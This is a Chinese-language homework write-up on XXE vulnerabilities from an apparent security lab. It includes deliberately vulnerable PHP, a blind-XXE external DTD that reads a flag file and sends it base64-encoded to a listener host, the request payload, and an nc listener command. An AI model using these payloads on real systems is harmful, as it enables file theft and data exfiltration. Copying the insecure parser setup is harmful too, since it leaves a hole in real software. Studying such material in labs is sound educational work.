XXE漏洞
XXE基础知识
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 文件名[
<!ENTITY 实体名 "实体内容">
]>
<元素名称 category="属性">
文本或其他元素
</元素名称>
作业1:
常规XXE漏洞
登录框抓包任意输入账号密码

username处有回显

构造XXE

没怎么学和玩过XXE漏洞,听说也是好多年前的漏洞了,看了一些文章,发现可以不用输入<?xml version="1.0" encoding="utf-8"?>,一样可以读取到flag

作业2:
Bind型XXE漏洞
这个没有靶场环境,只能在自己的机子上完成了。。。
无回显XXE漏洞
php代码
<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
dom-\>loadXML(xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
?>
需要引用外部.dtd文件,要想利用.dtd文件来读取内容flag文件内容需要.dtd构造如下XML
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.17.0.2:1234?p=%file;'>">
而请求包会这样构造
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://172.17.0.2:80/test.dtd">
%remote;%int;%send;
]>
然后需要对端口进行监听
nc -lvvp 1234




个人评价:
XXE漏洞可以造成敏感文件读取、内网探测SSRF、数据外带传输、拒绝服务,特定环境下还可以造成RCE漏洞和业务中断与信息收集